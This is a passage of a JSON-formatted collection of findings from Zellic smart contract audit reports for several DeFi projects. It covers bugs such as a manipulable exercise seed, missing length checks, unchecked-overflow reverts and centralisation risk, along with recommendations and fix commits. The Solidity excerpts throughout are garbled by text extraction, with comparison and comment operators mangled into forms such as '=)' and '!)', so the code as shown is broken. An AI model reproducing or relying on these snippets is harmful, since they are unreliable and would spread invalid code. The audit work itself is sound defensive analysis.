getUserGaugeBoost[msg.sender][gauge]; if (boost >) gaugeState.userGaugeBoost) { delete getUserGaugeBoost[msg.sender][gauge]; } else { gaugeState.userGaugeBoost -= boost.toUint128(); } } The array _userGauges[msg.sender] will still contain the gauge address, and the userG auges function will mistakenly return this gauge address. Remove the gauge address from _userGauges[msg.sender]. function decrementGaugeBoost(address gauge, uint256 boost) public { Zellic Maia DAO GaugeState storage gaugeState = getUserGaugeBoost[msg.sender][gauge]; if (boost >) gaugeState.userGaugeBoost) { _userGauges[msg.sender].remove(gauge); delete getUserGaugeBoost[msg.sender][gauge]; } else { gaugeState.userGaugeBoost -= boost.toUint128(); } } This issue was fixed by Maia DAO in commit 059904f. Zellic Maia DAO", + "html_url": "https://github.com/Zellic/publications/blob/master/Maia DAO February 2023 - Zellic Audit Report.pdf" + }, + { + "title": "3.14 Incorrect initial optimizer ID", + "labels": [ + "Zellic" + ], + "body": "Target: OptimizerFactory Category: Coding Mistakes Likelihood: High Severity: Low : Low When creating a new optimizer with the OptimizerFactory, the assigned ID is equal to the length of the optimizer array: function createTalosOptimizer( uint32 _twapDuration, int24 _maxTwapDeviation, int24 _tickRangeMultiplier, uint24 _pricePercentage, uint256 _maxTotalSupply, address owner ) external { TalosOptimizer optimizer = new TalosOptimizer( _twapDuration, _maxTwapDeviation, _tickRangeMultiplier, _pricePercentage, _maxTotalSupply, owner ); optimizerIds[optimizer] = optimizers.length; optimizers.push(optimizer); } For the first optimizer created, this will be zero as the array has no values. This means that the optimizer will not be able to be used by the TalosBaseStrategyFactory as it has a check to see if the ID of the optimizer is zero: function createTalosBaseStrategy( IUniswapV3Pool pool, ITalosOptimizer optimizer, address strategyManager, Zellic Maia DAO bytes memory data ) external { if (optimizerFactory.optimizerIds(TalosOptimizer(address(optimizer))) =) 0) revert UnrecognizedOptimizer(); TalosBaseStrategy strategy = createTalosV3Strategy(pool, optimizer, strategyManager, data); strategyIds[strategy] = strategies.length; strategies.push(strategy); } The first optimizer created by the OptimizerFactory cannot be used by the TalosBase StrategyFactory because the optimizer ID will be zero and cause a revert. The new optimizer should be pushed to the optimizer before the optimizerIds is up- dated so that the first optimizer receives an ID of one. This issue was fixed by Maia DAO in commit 5448551. Zellic Maia DAO", + "html_url": "https://github.com/Zellic/publications/blob/master/Maia DAO February 2023 - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Bucket for exercise() manipulatable with small exercise() calls", + "labels": [ + "Zellic" + ], + "body": "Target: OptionSettlementEngine Category: Business Logic Likelihood: Medium Severity: High : Medium The first bucket to be exercised in an exercise() call is based on a deterministic seed. This seed is reset upon every exercise() call. The seed can be intentionally reset by exercise()ing with a small amount. If the seed is repeatedly reset until the desired bucket is next in line, the next bucket to be exercised can effectively be chosen this way. The code to choose buckets and exercise are as follows: function _assignExercise(OptionTypeState storage optionTypeState, Option storage optionRecord, uint112 amount) private { /) Setup pointers to buckets and buckets with collateral available for exercise. /) ...)) uint96 numUnexercisedBuckets = uint96(unexercisedBucketIndices.length); uint96 exerciseIndex = uint96(optionRecord.settlementSeed % numUnexercisedBuckets); while (amount > 0) { /) ...)) if (amount !) 0) { exerciseIndex = (exerciseIndex + 1) % numUnexercisedBuckets; } } Zellic Valorem Labs Inc /) Update the seed for the next exercise. optionRecord.settlementSeed = uint160(uint256(keccak256(abi.encode(optionRecord.settlementSeed, exerciseIndex)))); } A user who owns options can effectively choose the next bucket to be exercised for that option category. This can be used to reduce the exercise priority of one\u2019s own options or force some specific bucket of options to be preferentially exercised. Reset the settlementSeed only if at least one bucket is exhausted. The settlementSeed is now only randomized for the first bucket. It was fixed in commit 1d6c08b43. Zellic Valorem Labs Inc", + "html_url": "https://github.com/Zellic/publications/blob/master/Valorem Options - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Probability of bucket exercise() not correlated with size", + "labels": [ + "Zellic" + ], + "body": "Target: OptionSettlementEngine Category: Business Logic Likelihood: N/A Severity: Medium : Medium The probability of an options bucket being chosen for exercise() is not correlated with the number of options contained in that bucket. Individual options in smaller buckets have a higher probability of being chosen for exercise. The first bucket to be exercised per exercise() call is chosen pseudorandomly with uniform probability for all buckets as follows: uint96 numUnexercisedBuckets = uint96(unexercisedBucketIndices.length); uint96 exerciseIndex = uint96(optionRecord.settlementSeed % numUnexercisedBuckets); Since the probability of exercise is not normalized by bucket size, options in smaller buckets have a higher expected amount exercised per option. If writing a small amount of options, this can be disadvantageous if unable to write into a larger bucket. Base the probability of a bucket being chosen on the size of the bucket or some other criterion to ensure fairness. Since the commit 1d6c08b43, only the first bucket to be exercised is random. Since the number of randomizations is now vastly reduced, the bias of the uneven ran- domization has been drastically improved. Although the choice of first bucket is still biased. Valorem Labs Inc plans to fully remediate this in a future version. Zellic Valorem Labs Inc", + "html_url": "https://github.com/Zellic/publications/blob/master/Valorem Options - Zellic Audit Report.pdf" + }, + { + "title": "4.1 Module: ExternalLiquidationStrategy.sol Function: _liquidateExternally(uint256 tokenId, uint128[] amounts, uint 256 lpTokens, address to, byte[] data) Allows any caller to liquidate the existing loan using a flash loan of collateral tokens from the pool and/or CFMM LP tokens. Before the liquidation, the externalSwap func- tion will be called. After that, a check will be made that enough tokens have been deposited. Allows only full liquidation of the loan. Inputs", + "labels": [ + "Zellic" + ], + "body": "tokenId \u2013 Validation: There is no verification that the corresponding _loan for this tokenId exists. \u2013 : A tokenId referring to an existing _loan. Not necessary msg.sender is owner of _loan, so the caller can choose any existing loan. amounts \u2013 Validation: There is a check that amount <= s.TOKEN_BALANCE inside externa lSwap->sendAndCalcCollateralLPTokens->sendToken function. \u2013 : Amount of tokens from the pool to flash loan. lpTokens \u2013 Validation: There is a check that lpTokens <= s.LP_TOKEN_BALANCE inside ex ternalSwap->sendCFMMLPTokens->sendToken function \u2013 : Amount of CFMM LP tokens being flash loaned. to \u2013 Validation: Cannot be zero address. \u2013 : Address that will receive the collateral tokens and/or lpTokens in flash loan. Zellic GammaSwap data \u2013 Validation: No checks. \u2013 : Custom user data. It is passed to the externalCall. Branches and code coverage (including function calls) The part of _liquidateExternally tests are skipped. Intended branches \u25a1 Check that loan was fully liquidated Negative behavior 4\u25a1 _loan for tokenId does not exist. \u25a1 Balance of contract not enough to transfer amounts. \u25a1 Balance of contract not enough to transfer lpTokens. \u25a1 Zero to address. 4\u25a1 After externalCall the s.cfmm balance of contract has not returned to the pre- vious value. \u25a1 After externalCall the balance of contract for each tokens has not returned to the previous value. Function call analysis externalSwap(_loan, s.cfmm, amounts, lpTokens, to, data) -> sendAndCalcCo llateralLPTokens(to, amounts, lastCFMMTotalSupply) -> sendToken(IERC20(to kens[i]), to, amounts[i], s.TOKEN_BALANCE[i], type(uint128).max) -> Gamma SwapLibrary.safeTransfer(token, to, amount) \u2013 External/Internal? External. \u2013 Argument control? to and amount. \u2013 : The caller can transfer any number of tokens that is less than s.TO KEN_BALANCE[i], but they must return the same or a larger amount after the externalCall function call; it will be checked inside the updateCollateral function. externalSwap(_loan, s.cfmm, amounts, lpTokens, to, data) -> sendCFMMLPTok ens(_cfmm, to, lpTokens) -> sendToken(IERC20(_cfmm), to, lpTokens, s.LP_T OKEN_BALANCE, type(uint256).max) -> GammaSwapLibrary.safeTransfer(token, t o, amount) \u2013 External/Internal? External. \u2013 Argument control? to and amount. \u2013 : The caller can transfer any number of tokens that is less than s. LP_TOKEN_BALANCE, but they must return the same or a larger amount after Zellic GammaSwap the externalCall function call; it will be checked inside the payLoanAndRef undLiquidator function. externalSwap(_loan, s.cfmm, amounts, lpTokens, to, data) -> IExternalCall ee(to).externalCall(msg.sender, amounts, lpTokens, data); \u2013 External/Internal? External. \u2013 Argument control? msg.sender, amounts, lpTokens, and data. \u2013 : The reentrancy is not possible because the other important exter- nal functions have lock. If caller does not return enough amount of tokens, the transaction will be reverted. externalSwap(_loan, s.cfmm, amounts, lpTokens, to, data) -> updateCollate ral(_loan) -> GammaSwapLibrary.balanceOf(IERC20(tokens[i]), address(this) ); -> address(_token).staticcall(abi.encodeWithSelector(_token.balanceOf. selector, _address)) \u2013 : Return the current token balance of this contract. This balance will be compared with the last tokenBalance[i] value; if the balance was in- creased, the _loan.tokensHeld and s.TOKEN_BALANCE will be increased too. But if the balance was decreased, the withdrawn value will be checked that it is no more than tokensHeld[i] (available collateral) and the _loan.t okensHeld and s.TOKEN_BALANCE will be increased. payLoanAndRefundLiquidator(tokenId, tokensHeld, loanLiquidity, 0, true) - > GammaSwapLibrary.safeTransfer(IERC20(s.cfmm), msg.sender, lpRefund); \u2013 External/Internal? External. \u2013 Argument control? No. \u2013 : The user should not control the lpRefund value. Transfer the re- maining part of CFMMLPTokens.", + "html_url": "https://github.com/Zellic/publications/blob/master/GammaSwap V1 Core and Implementations (March, 2023) - Zellic Audit Report.pdf" + }, + { + "title": "4.2 Module: ExternalLongStrategy.sol Function: _rebalanceExternally(uint256 tokenId, uint128[] amounts, uint 256 lpTokens, address to, byte[] data) Allows the loan\u2019s creator to use a flash loan and also rebalance a loan\u2019s collateral. Inputs", + "labels": [ + "Zellic" + ], + "body": "tokenId \u2013 Validation: There is a check inside the _getLoan function that msg.sender is creator of loan. \u2013 : A tokenId refers to an existing _loan, which will be rebalancing. amounts Zellic GammaSwap \u2013 Validation: There is a check that amount <= s.TOKEN_BALANCE inside externa lSwap->sendAndCalcCollateralLPTokens->sendToken function. \u2013 : Amount of tokens from the pool to flash loan. lpTokens \u2013 Validation: There is a check that lpTokens <= s.LP_TOKEN_BALANCE inside ex ternalSwap->sendCFMMLPTokens->sendToken function. \u2013 : Amount of CFMM LP tokens being flash loaned. to \u2013 Validation: Cannot be zero address. \u2013 : Address that will receive the collateral tokens and/or lpTokens in flash loan. data \u2013 Validation: No checks. \u2013 : Custom user data. It is passed to the externalCall. Branches and code coverage (including function calls) Intended branches 4\u25a1 lpTokens !) 0. \u25a1 amounts is not empty. 4\u25a1 amounts is not empty and lpTokens !) 0. 4\u25a1 Withdraw one of the tokens by no more than the available number of tokens. 4\u25a1 Withdraw both tokens by no more than the available number of tokens. 4\u25a1 Deposit one of the tokens. 4\u25a1 Deposit both tokens. 4\u25a1 Deposit one token and withdraw another. Negative behavior 4\u25a1 _loan for tokenId does not exist. \u25a1 msg.sender is not creator of the _loan. \u25a1 Balance of contract is not enough to transfer amounts. \u25a1 Balance of contract is not enough to transfer lpTokens. \u25a1 Zero to address. \u25a1 After externalCall, the s.cfmm balance of the contract has not returned to the previous value. \u25a1 After externalCall, the balance of the contract for each tokens has not returned to the previous value. \u25a1 After externalCall, the balance of the contract for one of tokens has not re- turned to the previous value. Zellic GammaSwap 4\u25a1 Withdraw one of the tokens, and loan is undercollateralized after externalCall. 4\u25a1 Withdraw both tokens, and loan is undercollateralized after externalCall. 4\u25a1 Withdraw one of the tokens and deposit another, and loan is undercollateralized after externalCall. \u25a1 The amounts and tokenId are zero. Function call analysis externalSwap(_loan, s.cfmm, amounts, lpTokens, to, data) -> sendAndCalcCo llateralLPTokens(to, amounts, lastCFMMTotalSupply) -> sendToken(IERC20(to kens[i]), to, amounts[i], s.TOKEN_BALANCE[i], type(uint128).max) -> Gamma SwapLibrary.safeTransfer(token, to, amount) \u2013 External/Internal? External. \u2013 Argument control? to and amount. \u2013 : The caller can transfer any number of tokens that is less than s.TO KEN_BALANCE[i], but they must return the same or a larger amount after the externalCall function call; it will be checked inside the updateCollateral function. externalSwap(_loan, s.cfmm, amounts, lpTokens, to, data) -> sendCFMMLPTok ens(_cfmm, to, lpTokens) -> sendToken(IERC20(_cfmm), to, lpTokens, s.LP_T OKEN_BALANCE, type(uint256).max) -> GammaSwapLibrary.safeTransfer(token, t o, amount) \u2013 External/Internal? External. \u2013 Argument control? to and amount. \u2013 : The caller can transfer any number of tokens that is less than s. LP_TOKEN_BALANCE, but they must return the same or a larger amount after the externalCall function call; it will be checked inside the checkLPTokens function. externalSwap(_loan, s.cfmm, amounts, lpTokens, to, data) -> IExternalCall ee(to).externalCall(msg.sender, amounts, lpTokens, data); \u2013 External/Internal? External. \u2013 Argument control? msg.sender, amounts, lpTokens, and data. \u2013 : The reentrancy is not possible because the other important exter- nal functions have lock. If caller does not return enough amount of tokens, the transaction will be reverted. externalSwap(_loan, s.cfmm, amounts, lpTokens, to, data) -> updateCollate ral(_loan) -> GammaSwapLibrary.balanceOf(IERC20(tokens[i]), address(this) ); -> address(_token).staticcall(abi.encodeWithSelector(_token.balanceOf. selector, _address)) \u2013 External/Internal? External. Zellic GammaSwap \u2013 Argument control? No. \u2013 : Return the current token balance of this contract. This balance will be compared with the last tokenBalance[i] value; if the balance was in- creased, the _loan.tokensHeld and s.TOKEN_BALANCE will be increased too. But if the balance was decreased, the withdrawn value will be checked that it is no more than tokensHeld[i] (available collateral) and the _loan.t okensHeld and s.TOKEN_BALANCE will be increased. externalSwap(_loan, s.cfmm, amounts, lpTokens, to, data) -> checkLPTokens (_cfmm, prevLpTokenBalance, lastCFMMInvariant, lastCFMMTotalSupply) -> Ga mmaSwapLibrary.balanceOf(IERC20(_cfmm), address(this)) \u2013 External/Internal? External. \u2013 Argument control? No. \u2013 : Return the current _cfmm balance of this contract. This new balance will be compared with the balance before the externalCall function call, and if new value is less, the transaction will be reverted. Also, update the s.LP_TOKEN_BALANCE and s.LP_INVARIANT. Zellic GammaSwap 5 Audit Results At the time of our audit, the code was not deployed to mainnet EVM. During our audit, we discovered one finding that was informational in nature. Gam- maSwap acknowledged the finding and implemented a fix.", + "html_url": "https://github.com/Zellic/publications/blob/master/GammaSwap V1 Core and Implementations (March, 2023) - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Add Length Validation for callData in validateSessionUserO p", + "labels": [ + "Zellic" + ], + "body": "Target: ERC20SessionValidationModule Category: Coding Mistakes Likelihood: N/A Severity: Informational : Informational In the validateSessionUserOp function, the length check for op.callData is incomplete, and there may be callData with illegal length. function validateSessionUserOp( UserOperation calldata _op, bytes32 _userOpHash, bytes calldata _sessionKeyData, bytes calldata _sessionKeySignature ) external pure override returns (bool) { ...)) /) working with userOp.callData /) check if the call is to the allowed recepient and amount is not more than allowed bytes calldata data; { uint256 offset = uint256(bytes32(_op.callData[4 + 64:4 + 96])); uint256 length = uint256( bytes32(_op.callData[4 + offset:4 + offset + 32]) ); /)we expect data to be the `IERC20.transfer(address, uint256)` calldata } data = _op.callData[4 + offset + 32:4 + offset + 32 + length]; if (address(bytes20(data[16:36])) !) recipient) { revert(\u201dERC20SV Wrong Recipient\u201d); Zellic Biconomy Labs } if (uint256(bytes32(data[36:68])) > maxAmount) { revert(\u201dERC20SV Max Amount Exceeded\u201d); } return ECDSA.recover( ECDSA.toEthSignedMessageHash(_userOpHash), _sessionKeySignature ) =) sessionKey; } Data without length restrictions may lead to issues such as hash collisions. A hash collision may lead to the ability to arbitrarily forge user messages. Use abi.decode to get the message length and add a maximum length check on op.c allData. This issue has been acknowledged by Biconomy Labs, and a fix was implemented in commit 3bf128e9. Zellic Biconomy Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Biconomy Batched Session Router Module - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Missing element count check of sessionData in validateUse rOp", + "labels": [ + "Zellic" + ], + "body": "Target: BatchedSessionRouter Category: Coding Mistakes Likelihood: N/A Severity: Informational : Informational The function validateUserOp decodes an array named sessionData and iterates over it to perform various validations and computations. However, there is no explicit check in the code to ensure that the sessionData array contains at least one element. uint256 length = sessionData.length; ( address sessionKeyManager, SessionData[] memory sessionData, bytes memory sessionKeySignature ) = abi.decode(moduleSignature, (address, SessionData[], bytes)); ...)) uint256 length = sessionData.length; /) iterate over batched operations for (uint i; i < length; ) { ...)) } return ( _packValidationData( false, /) sig validation failed = false; if we are here, it is valid ) ); earliestValidUntil, latestValidAfter Zellic Biconomy Labs The absence of a check for the array length could lead to potential logical errors or undesired behaviors in the case where the sessionData array is empty. Implement the array length check and make sure the length of sessionData is equal to the length of destinations. This issue has been acknowledged by Biconomy Labs, and a fix was implemented in commit 3bf128e9. Zellic Biconomy Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Biconomy Batched Session Router Module - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Missing test suite code coverage", + "labels": [ + "Zellic" + ], + "body": "Target: BatchedSessionRouter, ERC20SessionValidationModule, SessionKey- ManagerModule Category: Code Maturity Likelihood: Low Severity: Low : Low In our assessment of Biconomy Batched Session Router Module\u2019s test suite, we ob- served that while it provides adequate coverage for many aspects of the codebase, there are specific branches and codepaths that appear to be under-tested or not cov- ered at all. Some functions in the smart contract are not covered by any unit or integration tests, to the best of our knowledge. The following functions do not have full test coverage: BatchedSessionRouter.sol: validateUserOp. ERC20SessionValidationModule.sol: validateSessionParams. SessionKeyManagerModule.sol: validateSessionKey. Because correctness is so critical when developing smart contracts, we always rec- ommend that projects strive for 100% code coverage. Testing is an essential part of the software development life cycle. No matter how simple a function may be, untested code is always prone to bugs. Expand the test suite so that all functions are covered by unit or integration tests. This issue has been acknowledged by Biconomy Labs, and a fix was implemented in commit 12037aff. Zellic Biconomy Labs 4 Threat Model This provides a full threat model description for various functions. As time permitted, we analyzed each function in the modules and created a written threat model for some critical functions. A threat model documents a given function\u2019s externally controllable inputs and how an attacker could leverage each input to cause harm. Not all functions in the audit scope may have been modeled. The absence of a threat model in this section does not necessarily suggest that a function is safe.", + "html_url": "https://github.com/Zellic/publications/blob/master/Biconomy Batched Session Router Module - Zellic Audit Report.pdf" + }, + { + "title": "4.1 Module: BatchedSessionRouterModule.sol Function: validateUserOp(UserOperation userOp, byte[32] userOpHash) Validates userOperation. Inputs", + "labels": [ + "Zellic" + ], + "body": "userOp \u2013 Control: Full. \u2013 Constraints: Needs to contain valid selector. \u2013 : User Operation to be validated. If invalid, the function will revert or return a failure code. userOpHash \u2013 Control: Full. \u2013 Constraints: Must be a valid 32-byte\u2013hash representation of the corre- sponding userOp. \u2013 : Hash of the User Operation to be validated. Acts as a unique iden- tifier or checksum of the User Operation. Branches and code coverage (including function calls) Intended branches Function returns SIG_VALIDATION_SUCCESS for a valid UserOp and valid userOpHash. 4\u25a1 Test coverage Function returns SIG_VALIDATION_FAILED if the userOp was signed with an im- proper session key. 4\u25a1 Test coverage Negative behavior Zellic Biconomy Labs Function reverts when userOp.sender is an unregistered smart contract. 4\u25a1 Negative test Function reverts when the length of user.signature is less than 65. 4\u25a1 Negative test", + "html_url": "https://github.com/Zellic/publications/blob/master/Biconomy Batched Session Router Module - Zellic Audit Report.pdf" + }, + { + "title": "4.2 Module: ERC20SessionValidationModule.sol Function: validateSessionParams(address destinationContract, uint256 ca llValue, byte[] _funcCallData, byte[] _sessionKeyData, byte[] None) This validates that the call (destinationContract, callValue, and funcCallData) com- plies with the Session Key permissions represented by sessionKeyData. Inputs", + "labels": [ + "Zellic" + ], + "body": "destinationContract \u2013 Control: Full. \u2013 Constraints: Must match the token address specified in _sessionKeyData. \u2013 : The address of the contract to be called. callValue \u2013 Control: Full. \u2013 Constraints: Must be zero in value, as nonzero values will result in a revert. \u2013 : The value to be sent with the call. _funcCallData \u2013 Control: Full. \u2013 Constraints: Must adhere to the ERC-20 standard. \u2013 : The data for the call. It is parsed inside the SVM. _sessionKeyData \u2013 Control: Full. \u2013 Constraints: Must contain valid session key data that represents session key permissions. \u2013 : SessionKey data that describes sessionKey permissions. None \u2013 Control: Full. \u2013 Constraints: N/A. \u2013 : N/A. Branches and code coverage (including function calls) Intended branches Zellic Biconomy Labs Function returns the session key for a valid destinationContract, callValue, and _funcCallData that matches _sessionKeyData. 4\u25a1 Test coverage Negative behavior Function reverts with ERC20SV Invalid Token when destinationContract does not match the token address in _sessionKeyData. 4\u25a1 Negative test Function reverts with ERC20SV Non Zero Value when a nonzero callValue is pro- vided. 4\u25a1 Negative test Function reverts with ERC20SV Wrong Recipient when the recipient in _funcCall Data does not match the intended recipient from _sessionKeyData. 4\u25a1 Negative test Function reverts with ERC20SV Max Amount Exceeded when the amount specified in _funcCallData exceeds the maxAmount described in _sessionKeyData. 4\u25a1 Negative test", + "html_url": "https://github.com/Zellic/publications/blob/master/Biconomy Batched Session Router Module - Zellic Audit Report.pdf" + }, + { + "title": "4.3 Module: SessionKeyManagerModule.sol Function: setMerkleRoot(byte[32] _merkleRoot) Sets the Merkle root of a tree containing session keys for msg.sender. Inputs", + "labels": [ + "Zellic" + ], + "body": "_merkleRoot \u2013 Control: Full. \u2013 Constraints: N/A. \u2013 : The Merkle root of a tree that contains session keys with their per- missions and parameters. Branches and code coverage (including function calls) Intended branches Should successfully set the Merkle root of a tree containing session keys for msg .sender. 4\u25a1 Test coverage Zellic Biconomy Labs Function: validateSessionKey(address smartAccount, uint48 validUntil, uint48 validAfter, address sessionValidationModule, byte[] sessionKeyD ata, byte[32][] merkleProof) Validates that Session Key and parameters are enabled by being included into the Merkle tree. Inputs smartAccount \u2013 Control: Full. \u2013 Constraints: Must be a valid Ethereum address. \u2013 : The smartAccount for which the session key is being validated. validUntil \u2013 Control: Full. \u2013 Constraints: N/A. \u2013 : The timestamp when the session key expires. validAfter \u2013 Control: Full. \u2013 Constraints: N/A. \u2013 : The timestamp when the session key becomes valid. sessionValidationModule \u2013 Control: Full. \u2013 Constraints: Must be a valid contract address. \u2013 : The address of the Session Validation Module. sessionKeyData \u2013 Control: Full. \u2013 Constraints: N/A. \u2013 : The session parameters (limitations/permissions). merkleProof \u2013 Control: Full. \u2013 Constraints: N/A. \u2013 : The Merkle proof for the leaf that represents this session key and params. Branches and code coverage (including function calls) Intended branches Function successfully fetches the session key storage for the provided smart account. Zellic Biconomy Labs 4\u25a1 Test coverage Negative behavior Function reverts with SessionNotApproved due to invalid session key (data). 4\u25a1 Negative test Function call analysis rootFunction -> verify(bytes32[], bytes32, bytes32) \u2013 What is controllable?: merkleProof, smartAccount, validUntil, validAfter, sessionValidationModule, and sessionKeyData. \u2013 If return value controllable, how is it used and how can it go wrong?: It is used to verify the proof. \u2013 What happens if it reverts, reenters, or does other unusual control flow?: N/A. Function: validateUserOp(UserOperation userOp, byte[32] userOpHash) Validates userOperation. Inputs userOp \u2013 Control: Full. \u2013 Constraints: N/A. \u2013 : User Operation to be validated. userOpHash \u2013 Control: Full. \u2013 Constraints: Must be a valid 32-byte\u2013hash representation of the corre- sponding userOp. \u2013 : Hash of the User Operation to be validated. Branches and code coverage (including function calls) Intended branches Function is successfully invoked. 4\u25a1 Test coverage Negative behavior Function reverts with SIG_VALIDATION_FAILED. 4\u25a1 Negative test Zellic Biconomy Labs Should revert with wrong session key data. 4\u25a1 Negative test Should revert with the wrong session validation module address. 4\u25a1 Negative test Should revert if session key is already expired. 4\u25a1 Negative test Should revert if session key is not yet valid. 4\u25a1 Negative test Should revert with wrong validAfter. 4\u25a1 Negative test Should revert with wrong validUntil. 4\u25a1 Negative test Should revert if signed with the session key that is not in the Merkle tree. 4\u25a1 Negative test Function call analysis rootFunction -> _getSessionData(address) \u2013 What is controllable?: N/A. \u2013 If return value controllable, how is it used and how can it go wrong?: N/A. \u2013 What happens if it reverts, reenters, or does other unusual control flow?: N/A. rootFunction -> validateSessionKey(address, uint48, uint48, address, byte[], byte[32][]) \u2013 What is controllable?: userOp. \u2013 If return value controllable, how is it used and how can it go wrong?: N/A. \u2013 What happens if it reverts, reenters, or does other unusual control flow?: N/A. rootFunction -> _packValidationData(bool, unit48, uint48) \u2013 What is controllable?: userOp and userOpHash. \u2013 If return value controllable, how is it used and how can it go wrong?: True for signature failure, false for success. \u2013 What happens if it reverts, reenters, or does other unusual control flow?: N/A. Zellic Biconomy Labs 5 Assessment Results At the time of our assessment, the reviewed code was not deployed to the Ethereum Mainnet. During our assessment on the scoped Biconomy Batched Session Router Module modules, we discovered three findings. No critical issues were found. One finding was of low impact and the other findings were informational in nature. Biconomy Labs acknowledged all findings and implemented fixes.", + "html_url": "https://github.com/Zellic/publications/blob/master/Biconomy Batched Session Router Module - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Unexpected reverts where overflow may be desireable", + "labels": [ + "Zellic" + ], + "body": "Target: UniswapTwapPriceOracleV2, UniswapTwapPriceOracleV2Root Category: Business Logic Likelihood: High Severity: Medium : High The UniswapTwapPriceOracleV2 is a modified version of the Compound UniswapTwapPr iceOracleV2 contract. The Compound contract used Open Zeppelin\u2019s SafeMathUpgrad eable to check for arithmetic overflow and underflow issues. Ionic Protocol removed SafeMathUpgradeable and modified the Compound contracts to compile with solidity versions >=0.8.0 which by default includes checked arithmetic to revert on overflows and underflows. The UniswapTwapPriceOracleV2 imports UniswapTwapPriceOracleV2Root which has also been modified to replace the SafeMathUpgradeable functionality with solidity 0.8.0+ default checked arithmetic. However, in UniswapTwapPriceOracleV2Root there are por- tions of code related to price accumulation (currentPx0Cumu, currentPx1Cumu) and time weighted average price (price0TWAP, price1TWAP) where arithmetic overflow is desir- able. For further reading see Dapp\u2019s audit report of Uniswap v2. This issue was duplicated with a parallel, internal review of the code conducted by Ionic Protocol. When calling getUnderlyingPrice, an overflow in either currentPx0Cumu or currentPx1 Cumu would lead to an unexpected transaction reversion, rendering the oracle useless. Review all contracts in the codebase which were updated to compile with solidity 0.8.0+ and place unchecked blocks around code where overflow is desireable. This will allow values to wrap on overflows and underflows as expected in versions of solidity prior to 0.8.0. Below is an example of corrected code for currentPx0Cumu in UniswapTwapPriceOracl eV2Root: Zellic Ionic Protocol function currentPx0Cumu(address pair) internal view returns (uint256 px0Cumu) { uint32 currTime = uint32(block.timestamp); px0Cumu = IUniswapV2Pair(pair).price0CumulativeLast(); (uint256 reserve0, uint256 reserve1, uint32 lastTime) = IUniswapV2Pair(pair).getReserves(); if (lastTime !) block.timestamp) { uint32 timeElapsed = currTime - lastTime; /) overflow is desired px0Cumu += uint256((reserve1 <) 112) / reserve0) * timeElapsed; unchecked { uint32 timeElapsed = currTime - lastTime; /) overflow is desired px0Cumu += uint256((reserve1 <) 112) / reserve0) * timeElapsed; } } } The issue has been fixed by Ionic Protocol in commit a562fda. Zellic Ionic Protocol", + "html_url": "https://github.com/Zellic/publications/blob/master/Ionic Protocol - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Improperly set parameter in constructor may lead to failed redemptions", + "labels": [ + "Zellic" + ], + "body": "Target: JarvisSynthereumLiquidator Category: Business Logic Likelihood: Low Severity: Medium : High Lack of input validation in the constructor on the _txExpirationPeriod parameter may lead to failed redemptions. The variable txExpirationPeriod is included as an anti-slippage measure during re- demptions as it limits the amount of time a transaction can be included in a block. Mistakenly setting the _txExpirationPeriod to 0 or a low value may cause transac- tions to revert which will block user redemptions. It is evident from Ionic Protocols\u2019 deploy script and tests that they have considered this issue and have appropriately set a _txExpirationPeriod time of +40 minutes. There- fore we do not believe this has a security impact presently, but it may lead to future bugs. Consider including a require statement in the constructor to impose a minimum thresh- old for _txExpirationPeriod. The Jarvis documentation recommends setting the ex- piration period to +30 minutes in the future to account for network congestion. The issue has been fixed by Ionic Protocol in commit 782b54. Zellic Ionic Protocol", + "html_url": "https://github.com/Zellic/publications/blob/master/Ionic Protocol - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Lack of input validation in initialize", + "labels": [ + "Zellic" + ], + "body": "Target: CurveLpTokenPriceOracleNoRegistry, FusePoolLens Severity: Low Category: Code Maturity : Low Likelihood: Low The initialize function in both CurveLpTokenPriceOracleNoRegistry and FusePoolL ens does not validate the passed array parameters which may lead to unintended storage outcomes. In both of the initialize functions, Ionic Protocol uses a for-loop to iterate through array parameters and append them to a mapping variable. If the lengths of the ar- rays are not equal, the initialize call will either revert or complete successfully with missing data. In CurveLpTokenPriceOracleNoRegistry, the mappings poolOf and underlyingTokens may not be set to the intended values if the length of the array _lpTokens is less than the length of either the _pools or _poolUnderlyings arrays. In FusePoolLens, the mapping variable hardcoded stores the mapping of token ad- dresses (_hardcodedAddresses) to TokenData which includes a token\u2019s name and symbol. If the length of the _hardcodedAddresses array is less than the length of the _hardcod edNames or _hardcodedSymbols arrays, then parameters in those arrays that exist after _hardcodedAddresses.length will not be stored. Consider adding require statements in the initialize function to validate user-controlled data input and to ensure that array lengths are equal. The issue has been fixed by Ionic Protocol in commit c71037. Zellic Ionic Protocol", + "html_url": "https://github.com/Zellic/publications/blob/master/Ionic Protocol - Zellic Audit Report.pdf" + }, + { + "title": "3.4 Centralization risk over multiple contracts", + "labels": [ + "Zellic" + ], + "body": "Target: Multiple Category: Code Maturity Likelihood: Low Severity: Low : High In oracle contracts such as MasterPriceOracle, the contract\u2019s admin has central au- thority over functions such as setDefaultOracle. Likewise in FusePoolDirectory, the admin has full control over the deployer whitelist. In case of a private key compromise, an attacker could change the defaultOracle to one which will report a favorable price, sandwiching their swap transaction between two calls to setDefaultOracle - the first to set a favorable oracle and the second to return the oracle to the benign default oracle. Similarly, an attacker would be able to whitelist malicious deployer addresses in FusePoolDirectory. Use a multi-signature address wallet, this would prevent an attacker from caus- ing economic damage if a private key were compromised. Set critical functions behind a TimeLock to catch malicious executions in the case of compromise. The issue has been acknowledged by Ionic Protocol and no changes have been made. Ionic Protocol states, \u201cBefore announcing our live platform, we will be transferring ad- min functionality to MultiSig address, avoiding the risks of single point of failure.\u201d Zellic Ionic Protocol", + "html_url": "https://github.com/Zellic/publications/blob/master/Ionic Protocol - Zellic Audit Report.pdf" + }, + { + "title": "3.5 Remove renounceOwnership functionality", + "labels": [ + "Zellic" + ], + "body": "Target: FuseFeeDistributor, FusePoolDirectory and CurveLpTokenPriceOracleNoReg- istry Category: Business Logic Likelihood: N/A Severity: Informational : Informational The FuseFeeDistributor, FusePoolDirectory and CurveLpTokenPriceOracleNoRegistry contracts implement OwnableUpgradeable which provides a method named renoun ceOwnership that removes the current owner (Reference). This is likely not a desired feature. If renounceOwnership were called, the contract would be left without an owner. Override the renounceOwnership function: function 